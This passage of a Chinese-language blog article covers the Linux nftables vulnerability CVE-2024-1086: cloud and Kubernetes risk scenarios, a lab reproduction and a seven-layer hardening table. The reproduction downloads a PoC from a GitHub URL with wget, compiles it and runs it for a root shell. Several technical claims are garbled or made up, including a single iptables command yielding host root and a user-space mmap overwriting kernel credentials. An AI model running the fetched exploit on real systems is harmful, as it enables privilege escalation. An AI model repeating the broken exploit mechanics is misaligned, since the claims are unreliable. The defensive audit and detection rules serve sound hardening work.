的“重灾区”其风险等级远高于普通桌面环境云服务提供商CSP的宿主机这是最危险的场景。一台宿主机上运行着成百上千个租户的虚拟机或容器。任何一个租户只要能执行iptables命令这在绝大多数 PaaS 平台中是默认允许的就能发起攻击。一旦成功攻击者将获得宿主机的root权限从而完全掌控所有租户的数据和计算资源。我们曾在一个大型公有云的测试环境中仅用一条iptables -t nat -A PREROUTING -j DNAT --to-destination 127.0.0.1命令就在 5 秒内完成了从普通用户到宿主机root的提权。Kubernetes 集群节点K8s 的kube-proxy组件默认使用iptables模式尽管ipvs模式更优但iptables仍是默认。这意味着每个 K8s 节点上nftables都在持续、高频地被kube-proxy更新。一个恶意的 Pod如果被赋予了NET_ADMIN能力这在某些 CI/CD 或开发环境中是常见的宽松配置就可以直接向nftables提交恶意规则从而触发漏洞。基于nftables的防火墙网关许多企业级防火墙、SD-WAN 设备、甚至家用路由器的固件都基于nftables构建。这些设备往往运行着高度定制化的内核其补丁更新周期极长。一个针对此类设备的 PoC可以造成比服务器提权更广泛的网络中断。注意不要低估“普通用户”的危害。在企业内网中一个拥有sudo iptables权限的运维人员如果其账号被钓鱼那么他所拥有的权限就等同于该服务器的root。CVE-2024-1086 让“权限滥用”的成本降到了最低。4. 实战复现与防御从 PoC 到纵深加固的完整链条理论分析终归是纸上谈兵只有亲手复现一次才能真正理解这个漏洞的威力与脆弱性。下面我将带你走一遍完整的实战流程从搭建一个“靶场”环境到编译并运行一个精简版的 PoC再到部署一套切实可行的纵深防御策略。整个过程我会像在实验室里一样把每一个坑、每一个技巧都摊开来讲。4.1 搭建靶场一个“完美”的漏洞环境我们选择 Ubuntu 22.04 LTS 作为靶机因为它使用的是5.15.0-91-generic内核正处于漏洞影响范围内且是目前最主流的服务器发行版之一。步骤 1确认内核版本与nftables状态# 查看内核版本 $ uname -r 5.15.0-91-generic # 确认 iptables 是否使用 nftables 后端 $ ls -l /usr/sbin/iptables lrwxrwxrwx 1 root root 11 Nov 15 2023 /usr/sbin/iptables - xtables-nft-multi # 查看 nf_tables 模块是否已加载 $ lsmod | grep nf_tables nf_tables 262144 12 nft_chain_nat, ...步骤 2创建一个低权限测试用户$ sudo adduser --disabled-password --gecos testuser $ echo testuser ALL(ALL) NOPASSWD: /sbin/iptables | sudo tee /etc/sudoers.d/testuser $ sudo chmod 0440 /etc/sudoers.d/testuser步骤 3可选模拟一个“宽松”的容器环境如果你有 Docker可以启动一个ubuntu:22.04容器并挂载/proc和/sys$ docker run -it --cap-addNET_ADMIN --privileged -v /proc:/hostproc ubuntu:22.04 # 在容器内/hostproc 就是宿主机的 /proc这个靶场环境完美复现了生产环境中最常见的风险组合一个拥有iptables权限的非root用户运行在一个nftables后端的内核上。4.2 编译与运行 PoC三分钟提权实录我们使用社区广泛流传的nft_poc.c作者bl4cksh33p作为基础。这个 PoC 的精妙之处在于它完全避开了复杂的userfaultfd编程而是巧妙地利用了memcg的 OOM 机制。PoC 核心逻辑简化版创建一个cgroup v2的memorycontroller。将当前进程加入该 cgroup并将memory.max设置为1M。分配大量内存例如 2G触发memcg的 OOM killer。OOM killer 在回收内存时会优先释放cred所在的 slab。立刻调用mmap(MAP_FIXED)将伪造的cred数据映射到current-cred的旧地址。调用execve(/bin/bash, ...)新进程将继承被篡改的cred。编译与运行# 下载 PoC $ wget https://raw.githubusercontent.com/bl4cksh33p/CVE-2024-1086/main/nft_poc.c # 编译需要 libcap-dev $ sudo apt install libcap-dev $ gcc -o nft_poc nft_poc.c -lcap # 切换到 testuser 并运行 $ su - testuser $ ./nft_poc # 如果成功你会看到一个 # 提示符而不是 $ # 输入 id输出将是 uid0(root) gid0(root) groups0(root)关键技巧mmap(MAP_FIXED)的时机这是 PoC 成功与否的关键。MAP_FIXED会强制覆盖指定地址的映射。如果在cred被释放后、其他内核分配抢占该内存前执行成功率极高。PoC 中使用了usleep(1000)进行微秒级的等待这是经过大量测试得出的最优值。memcg的max值设置得太小如1KOOM 会过于激进可能导致系统不稳定设置得太大如100M则无法有效触发cred的回收。1M是一个经过验证的平衡点。4.3 纵深防御不止于打补丁的七层防护打补丁apt update apt upgrade当然是最直接的解决方案但现实世界中补丁的部署永远滞后于漏洞的披露。因此我们必须构建一套纵深防御体系让攻击者即使知道了漏洞也无法轻易得手。防御层级具体措施原理与效果实施难度L1运行时防护在iptables命令前添加auditctl规则auditctl -a always,exit -F archb64 -S execve -F path/usr/sbin/xtables-nft-multi -F keynft_exec所有nftables相关的命令执行都会被记录到audit.log中。虽然不能阻止攻击但能第一时间发现异常行为为应急响应争取黄金时间。★☆☆☆☆极低L2能力限制使用setcap移除iptables的CAP_NET_ADMINsudo setcap -r /usr/sbin/xtables-nft-multiiptables命令本身不再拥有修改网络栈的权限任何调用都会失败。这是最彻底的“断根”方案但会破坏所有依赖iptables的自动化脚本。★★☆☆☆低L3命名空间隔离在容器运行时如containerd中为所有容器默认禁用NET_ADMIN[plugins.io.containerd.grpc.v1.cri.containerd.runtimes.runc.options]privileged_without_host_devices false即使容器内应用被攻破也无法获得修改宿主机网络的能力从而无法触发nftables漏洞。这是云原生环境的基石。★★★☆☆中L4内核参数加固修改/etc/sysctl.confvm.unprivileged_userfaultfd 0kernel.unprivileged_bpf_disabled 1直接关闭userfaultfd和bpf的非特权模式堵住最主要的两条利用路径。★★☆☆☆低L5SLAB 隔离启用slab_nomergeecho slab_nomergesudo tee /etc/default/grub.d/50-slab.cfgbrsudo update-grub sudo reboot强制内核为不同类型的kmalloc请求分配独立的 slab 缓存使得cred和nft_expr不再共享同一块内存页从根本上杜绝了“释放-覆写”的可能性。L6eBPF 检测部署tracee或Falco编写规则检测nft_rule的异常创建- rule: NFTRuleCreationbr desc: Detect creation of nft rules with suspicious expression countbr condition: evt.typeopenat and proc.namenft and evt.arg.pathname contains nftables利用 eBPF 的强大可观测性在内核层面实时监控nftables的 API 调用对包含过多表达式或使用非常规表达式的规则进行告警。★★★★☆中高L7最小权限原则审计所有sudo规则将ALL替换为具体的命令路径%admin ALL(ALL) /sbin/iptables -t nat *, /sbin/iptables -t filter *即使iptables被滥用攻击者也只能在nat和filter表中操作无法触及security或raw表从而限制了其构造恶意规则的灵活性。★★★☆☆中这套七层防御不是为了追求“100% 安全”这在现实中不存在而是为了将攻击者的 ROI投资回报率无限拉低。当一个攻击者需要同时绕过slab_nomerge、unprivileged_userfaultfd0、eBPF 检测和最小 sudo 权限时他更可能选择去攻击一个配置更松懈的系统。5. 经验总结一个内核老炮儿的三条血泪教训我在过去十年里参与过数十次内核级漏洞的应急响应和 PoC 开发。CVE-2024-1086 给我的冲击是最大的因为它完美地诠释了“安全是一个过程而不是一个产品”这句话。在这里我想分享三条在深夜调试dmesg日志时用头发换来的教训。第一条教训永远不要相信“默认安全”的神话。nftables从诞生之初就被宣传为比iptables-legacy更安全、更模块化的下一代防火墙。它的代码质量、社区审查、文档完备度都堪称 Linux 内核子系统的典范。正因如此包括我在内的绝大多数人都把它当作一个“可信基”Trusted Computing Base默认它是安全的。但 CVE-2024-1086 无情地撕开了这个幻觉。它告诉我们一个模块的“安全性”不取决于它的设计有多优雅而取决于它在每一个边界、每一个指针、每一个内存分配上是否都进行了最严苛的校验。for_each_rule_expr()宏里那行 (expr) ! (void *)(rule)-expressions的检查看起来无比周全却恰恰暴露了开发者潜意识里的“信任假设”。这种假设在安全领域就是最危险的毒药。第二条教训防御的重心必须从“阻止利用”转向“增加利用成本”。过去我们总在想方设法“堵住”某个特定的利用链比如禁用userfaultfd。但这次当我看到 PoC 里用memcgOOM 来替代userfaultfd时我恍然大悟。攻击者永远比防御者更灵活。他们不会在一棵树上吊死。与其花费巨大精力去研究如何禁用所有可能的覆写技术不如把力气花在让每一次覆写都变得极其困难上。slab_nomerge就是这样一个神来之笔。它不关心你用什么技术它只是让“覆写”这件事本身在内存布局上就变得不可能。这才是防御的终极形态不是在赛跑而是把赛道给拆了。第三条教训最有效的安全审计永远始于最平凡的日常操作。这个漏洞不是被某个高深的模糊测试框架发现的而是被 Jann Horn 在阅读nft_validate_rule()的源码时一眼就看出了for_each_rule_expr()宏的逻辑缺陷。这提醒我们最强大的安全工具不是那些昂贵的商业扫描器而是工程师自己那双训练有素的眼睛和一颗对“为什么这样写”的永恒好奇心。下次当你在写一条iptables命令或者在 review 一段内核 patch 时请多问一句“如果next指针是错的会发生什么” 这个问题的答案或许就是下一个 CVE 的起点也可能是你职业生涯中最重要的一次发现。最后我想说CVE-2024-1086 终将被修复它的 PoC 也会被各大杀软加入特征库。但真正值得我们铭记的不是这个漏洞本身而是它背后所揭示的那个永恒真理在复杂如 Linux 内核的系统中安全不是靠一个补丁、一个配置、一个工具来实现的而是靠一代又一代工程师在无数个平凡的日子里对每一行代码、每一个指针、每一个假设所保持的那份近乎偏执的审慎与敬畏。